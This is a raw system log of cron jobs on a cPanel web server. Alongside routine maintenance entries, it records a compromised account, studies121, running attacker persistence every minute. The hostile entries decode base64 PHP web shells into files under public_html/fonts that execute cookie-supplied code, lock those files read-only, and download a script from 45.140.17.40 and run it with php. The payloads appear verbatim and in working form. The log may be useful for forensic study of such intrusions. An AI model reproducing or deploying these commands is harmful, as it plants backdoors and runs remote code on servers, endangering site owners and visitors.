Sep  6 10:01:01 ip-184-168-122-23 CROND[20586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:01:01 ip-184-168-122-23 CROND[20588]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 10:01:01 ip-184-168-122-23 CROND[20587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20588]: starting 0anacron
Sep  6 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20603]: finished 0anacron
Sep  6 10:02:01 ip-184-168-122-23 CROND[20681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:02:01 ip-184-168-122-23 CROND[20682]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:02:01 ip-184-168-122-23 CROND[20685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:02:01 ip-184-168-122-23 CROND[20683]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:02:01 ip-184-168-122-23 CROND[20686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:03:01 ip-184-168-122-23 CROND[20780]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:03:01 ip-184-168-122-23 CROND[20782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:03:01 ip-184-168-122-23 CROND[20784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:03:01 ip-184-168-122-23 CROND[20783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:04:01 ip-184-168-122-23 CROND[20958]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:04:01 ip-184-168-122-23 CROND[20960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:04:01 ip-184-168-122-23 CROND[20962]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:04:01 ip-184-168-122-23 CROND[20961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:04:01 ip-184-168-122-23 CROND[20963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:05:01 ip-184-168-122-23 CROND[21058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:05:01 ip-184-168-122-23 CROND[21061]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:05:01 ip-184-168-122-23 CROND[21060]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:05:01 ip-184-168-122-23 CROND[21059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:05:01 ip-184-168-122-23 CROND[21066]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 10:05:01 ip-184-168-122-23 CROND[21068]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:05:01 ip-184-168-122-23 CROND[21065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:06:01 ip-184-168-122-23 CROND[21159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:06:01 ip-184-168-122-23 CROND[21161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:06:01 ip-184-168-122-23 CROND[21162]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:06:01 ip-184-168-122-23 CROND[21163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:06:01 ip-184-168-122-23 CROND[21164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:07:01 ip-184-168-122-23 CROND[21253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:07:01 ip-184-168-122-23 CROND[21254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:07:01 ip-184-168-122-23 CROND[21255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:07:01 ip-184-168-122-23 CROND[21256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:08:01 ip-184-168-122-23 CROND[21361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:08:01 ip-184-168-122-23 CROND[21363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:08:01 ip-184-168-122-23 CROND[21365]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:08:01 ip-184-168-122-23 CROND[21367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:08:01 ip-184-168-122-23 CROND[21366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:09:01 ip-184-168-122-23 CROND[21540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:09:01 ip-184-168-122-23 CROND[21543]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 10:09:01 ip-184-168-122-23 CROND[21542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:09:01 ip-184-168-122-23 CROND[21544]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:09:01 ip-184-168-122-23 CROND[21545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:10:01 ip-184-168-122-23 CROND[21647]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 10:10:01 ip-184-168-122-23 CROND[21649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:10:01 ip-184-168-122-23 CROND[21652]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:10:01 ip-184-168-122-23 CROND[21653]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:10:01 ip-184-168-122-23 CROND[21655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:10:01 ip-184-168-122-23 CROND[21651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:10:01 ip-184-168-122-23 CROND[21660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:10:01 ip-184-168-122-23 CROND[21661]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:11:01 ip-184-168-122-23 CROND[21755]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:11:01 ip-184-168-122-23 CROND[21756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:11:01 ip-184-168-122-23 CROND[21758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:11:01 ip-184-168-122-23 CROND[21760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:12:01 ip-184-168-122-23 CROND[21917]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:12:01 ip-184-168-122-23 CROND[21922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:12:01 ip-184-168-122-23 CROND[21920]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:12:01 ip-184-168-122-23 CROND[21921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:12:01 ip-184-168-122-23 CROND[21923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:13:01 ip-184-168-122-23 CROND[22011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:13:01 ip-184-168-122-23 CROND[22013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:13:01 ip-184-168-122-23 CROND[22015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
